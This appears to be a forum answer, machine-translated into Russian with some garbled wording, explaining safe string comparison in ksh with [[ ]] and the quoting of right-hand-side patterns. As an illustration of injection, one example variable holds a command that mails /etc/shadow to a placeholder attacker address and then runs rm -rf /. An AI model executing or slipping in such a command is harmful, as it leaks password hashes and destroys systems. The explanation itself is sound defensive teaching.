Я бы прокомментировал ответ Джонатана, но я слишком новичок здесь, чтобы доверять таким вещам.
В любом случае, если вы пытаетесь спасти себя от страха в ksh, никогда не используйте наследиеОболочка Борна [].Вместо этого используйте [[]].
if [[ $REFRESH == REFRESH ]]; then
Это всегда будет определять, как вы хотите.Даже если что-то из перечисленного произошло непосредственно перед оператором if.
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`; sleep 5; rm -rf /`'
Следует обратить внимание на правую часть в том случае, если она является переменной или строкой, которую можно оценить для вещей.кроме простого сравнения строк.Рассмотрим это:
$ val='@(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
Здесь мы видим, что цитирование RHS более важно, чем цитирование LHS при использовании [[]].Кроме того, это демонстрирует, что [[]] позволяет более мощные совпадения, используя шаблоны и списки шаблонов.